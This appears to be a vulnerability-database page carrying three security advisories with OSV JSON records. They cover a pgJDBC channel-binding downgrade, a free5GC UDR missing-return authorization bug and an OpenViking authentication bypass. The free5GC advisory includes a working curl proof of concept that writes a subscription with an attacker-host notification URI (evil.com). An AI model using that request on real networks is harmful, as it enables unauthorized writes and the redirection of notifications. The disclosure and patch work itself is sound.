channelBinding=require connections can be silently downgraded from SCRAM-SHA-256-PLUS (with channel binding) to plain SCRAM-SHA-256 (without it), losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection triggers the downgrade with a certificate whose signature algorithm has no tls-server-end-point channel-binding hash. Examples are Ed25519, Ed448, and post-quantum algorithms.

Two issues combine in releases 42.7.4 through 42.7.11:

  1. The bundled com.ongres.scram:scram-client (3.1 or 3.2) returns an empty byte array instead of failing when it cannot derive the binding hash for such a certificate. This is the library issue tracked as GHSA-p9jg-fcr6-3mhf.
  2. pgJDBC does not enforce channelBinding=require where it matters. ScramAuthenticator checks only that the server advertised a -PLUS mechanism; it neither rejects the empty binding nor checks that the negotiated mechanism uses channel binding. The connection therefore downgrades silently, and would do so even against a fixed scram-client, because the missing enforcement is in pgJDBC's own code.

Only connections that set channelBinding=require are affected. Under the default prefer policy, and under allow or disable, falling back to plain SCRAM is the documented behaviour. Releases before 42.7.4 are unaffected, because they do not support channel binding.

Patches

Fixed in pgJDBC 42.7.12. pgJDBC now enforces channel binding in its own code, independently of the scram-client version:

  • Under channelBinding=require, it fails the connection when no channel-binding data can be extracted from the server certificate, instead of passing an empty value to the SCRAM client. The error names the certificate signature algorithm.
  • After negotiation, it requires the selected mechanism to use channel binding (a -PLUS mechanism) whenever channelBinding=require is set, regardless of how negotiation resolved.

Upgrade to 42.7.12 or later.

Workarounds

No pgJDBC setting restores channel-binding enforcement on an affected release; upgrading is the fix.

If you cannot upgrade immediately, verify the server certificate at the TLS layer so that a man-in-the-middle cannot present a substitute certificate. Set sslmode=verify-full with a truststore that contains only your server's CA. This defence is independent of channel binding and blocks the same attacker. Connections that rely on channelBinding=require in place of certificate verification have no equivalent workaround and should upgrade.

References

  • GHSA-p9jg-fcr6-3mhf — the related com.ongres.scram:scram-client issue (root cause of the empty channel-binding value).
  • scram-client 3.3 release (library fix): https://github.com/ongres/scram/releases/tag/3.3
  • pgJDBC fix in 42.7.12: commit
Severity
8.2 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.postgresql:postgresql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "42.7.4"
            },
            {
              "fixed": "42.7.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636",
      "CWE-757"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T17:47:39Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\n`channelBinding=require` connections can be silently downgraded from `SCRAM-SHA-256-PLUS` (with channel binding) to plain `SCRAM-SHA-256` (without it), losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection triggers the downgrade with a certificate whose signature algorithm has no `tls-server-end-point` channel-binding hash. Examples are `Ed25519`, `Ed448`, and post-quantum algorithms.\n\nTwo issues combine in releases 42.7.4 through 42.7.11:\n\n1. The bundled `com.ongres.scram:scram-client` (3.1 or 3.2) returns an empty byte array instead of failing when it cannot derive the binding hash for such a certificate. This is the library issue tracked as [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf).\n2. pgJDBC does not enforce `channelBinding=require` where it matters. `ScramAuthenticator` checks only that the server *advertised* a `-PLUS` mechanism; it neither rejects the empty binding nor checks that the *negotiated* mechanism uses channel binding. The connection therefore downgrades silently, and would do so even against a fixed `scram-client`, because the missing enforcement is in pgJDBC\u0027s own code.\n\nOnly connections that set `channelBinding=require` are affected. Under the default `prefer` policy, and under `allow` or `disable`, falling back to plain SCRAM is the documented behaviour. Releases before 42.7.4 are unaffected, because they do not support channel binding.\n\n### Patches\n\nFixed in pgJDBC 42.7.12. pgJDBC now enforces channel binding in its own code, independently of the `scram-client` version:\n\n- Under `channelBinding=require`, it fails the connection when no channel-binding data can be extracted from the server certificate, instead of passing an empty value to the SCRAM client. The error names the certificate signature algorithm.\n- After negotiation, it requires the selected mechanism to use channel binding (a `-PLUS` mechanism) whenever `channelBinding=require` is set, regardless of how negotiation resolved.\n\nUpgrade to 42.7.12 or later.\n\n### Workarounds\n\nNo pgJDBC setting restores channel-binding enforcement on an affected release; upgrading is the fix.\n\nIf you cannot upgrade immediately, verify the server certificate at the TLS layer so that a man-in-the-middle cannot present a substitute certificate. Set `sslmode=verify-full` with a truststore that contains only your server\u0027s CA. This defence is independent of channel binding and blocks the same attacker. Connections that rely on `channelBinding=require` in place of certificate verification have no equivalent workaround and should upgrade.\n\n### References\n\n-  [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf) \u2014 the related `com.ongres.scram:scram-client` issue (root cause of the empty channel-binding value).\n- `scram-client` 3.3 release (library fix): https://github.com/ongres/scram/releases/tag/3.3\n- pgJDBC fix in 42.7.12: [commit](https://github.com/pgjdbc/pgjdbc/commit/77df98e4e66c12936ded3478a0954f6f580bad99)",
  "id": "GHSA-j92g-9f8w-j867",
  "modified": "2026-07-21T17:47:39Z",
  "published": "2026-07-21T17:47:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-j92g-9f8w-j867"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/commit/77df98e4e66c12936ded3478a0954f6f580bad99"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ongres/scram/releases/tag/3.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pgjdbc/pgjdbc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PostgreSQL JDBC Driver: Silent channel-binding authentication downgrade via unsupported certificate algorithms"
}

GHSA-JGQ2-QV8V-5CMJ

Vulnerability from github – Published: 2026-04-14 20:00 – Updated: 2026-04-24 20:36
VLAI
Summary
free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions
Details

Summary

An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.

Details

The endpoint PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

  1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutin ./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.gochecks whether influenceId != "subs-to-notify".
  2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards.
  3. Execution continues, the request body is still parsed, and the handler calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub).
  4. The processor creates or updates the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully create or modify the target subscription in the UDR.

The missing return after sending the 404 response in api_datarepository.go is the root cause of this vulnerability.

PoC

No authentication is required. The attacker can choose an arbitrary subscriptionId.

curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com",
    "dnns":["internet"],
    "supis":["imsi-999999999999999"]
  }'

Response:

HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}

Now verify that the object was actually written:

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"

Response:

{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}

Impact

This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.

This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.

The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

Patch

The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:

if influenceId != "subs-to-notify" {
    c.String(http.StatusNotFound, "404 page not found")
    return
}

With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-636"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:00:45Z",
    "nvd_published_at": "2026-04-16T22:16:38Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.\n\n### Details\nThe endpoint `PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.\n\nIn the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut`in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go`checks whether `influenceId != \"subs-to-notify\"`.\n2. If the value is different, it calls `c.String(http.StatusNotFound, \"404 page not found\")`, **but it does not return afterwards**.\n3. Execution continues, the request body is still parsed, and the handler calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, \u0026trafficInfluSub)`.\n4. The processor creates or updates the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.\n\nAs a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully create or modify the target subscription in the UDR.\n\nThe missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication is required. The attacker can choose an arbitrary `subscriptionId`.\n\n```bash\ncurl -v -X PUT \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"notificationUri\":\"http://evil.com\",\n    \"dnns\":[\"internet\"],\n    \"supis\":[\"imsi-999999999999999\"]\n  }\u0027\n```\n\nResponse:\n```\nHTTP/1.1 404 Not Found\n404 page not found{\"dnns\":[\"internet\"],\"supis\":[\"imsi-999999999999999\"],\"notificationUri\":\"http://evil.com\"}\n```\nNow verify that the object was actually written:\n\n```bash\ncurl -v \"http://\u003cudr-host\u003e/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid\"\n```\nResponse:\n```json\n{\"dnns\":[\"internet\"],\"supis\":[\"imsi-999999999999999\"],\"notificationUri\":\"http://evil.com\"}\n```\n### Impact\nThis is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.\n\nThis allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.\n\nThe attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\n### Patch\nThe vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,\nfunction HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:\n\n```go\nif influenceId != \"subs-to-notify\" {\n    c.String(http.StatusNotFound, \"404 page not found\")\n    return\n}\n```\nWith the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.",
  "id": "GHSA-jgq2-qv8v-5cmj",
  "modified": "2026-04-24T20:36:00Z",
  "published": "2026-04-14T20:00:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-jgq2-qv8v-5cmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40248"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/udr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions"
}

GHSA-JGQ2-VQ69-GR6H

Vulnerability from github – Published: 2026-04-17 21:31 – Updated: 2026-04-24 20:49
VLAI
Summary
OpenViking: Unauthenticated remote bot control via OpenAPI HTTP routes
Details

OpenViking prior to commit c7bb167 contains an authentication bypass vulnerability in the VikingBot OpenAPI HTTP route surface where the authentication check fails open when the api_key configuration value is unset or empty. Remote attackers with network access to the exposed service can invoke privileged bot-control functionality without providing a valid X-API-Key header, including submitting attacker-controlled prompts, creating or using bot sessions, and accessing downstream tools, integrations, secrets, or data accessible to the bot.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.1 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "openviking"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T20:49:51Z",
    "nvd_published_at": "2026-04-17T19:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "OpenViking prior to commit\u00a0c7bb167 contains an authentication bypass vulnerability in the VikingBot OpenAPI HTTP route surface where the authentication check fails open when the api_key configuration value is unset or empty. Remote attackers with network access to the exposed service can invoke privileged bot-control functionality without providing a valid X-API-Key header, including submitting attacker-controlled prompts, creating or using bot sessions, and accessing downstream tools, integrations, secrets, or data accessible to the bot.",
  "id": "GHSA-jgq2-vq69-gr6h",
  "modified": "2026-04-24T20:49:51Z",
  "published": "2026-04-17T21:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40525"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/pull/1447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/commit/c7bb1676f4d037609f041bf39e4e2bd52e8f9820"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/volcengine/OpenViking"
    },
    {
      "type": "WEB",
      "url": "https://github.com/volcengine/OpenViking/releases/tag/v0.3.9"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openviking-authentication-bypass-via-vikingbot-openapi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenViking: Unauthenticated remote bot control via OpenAPI HTTP routes"
}
Mitigation
Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

No CAPEC attack patterns related to this CWE.

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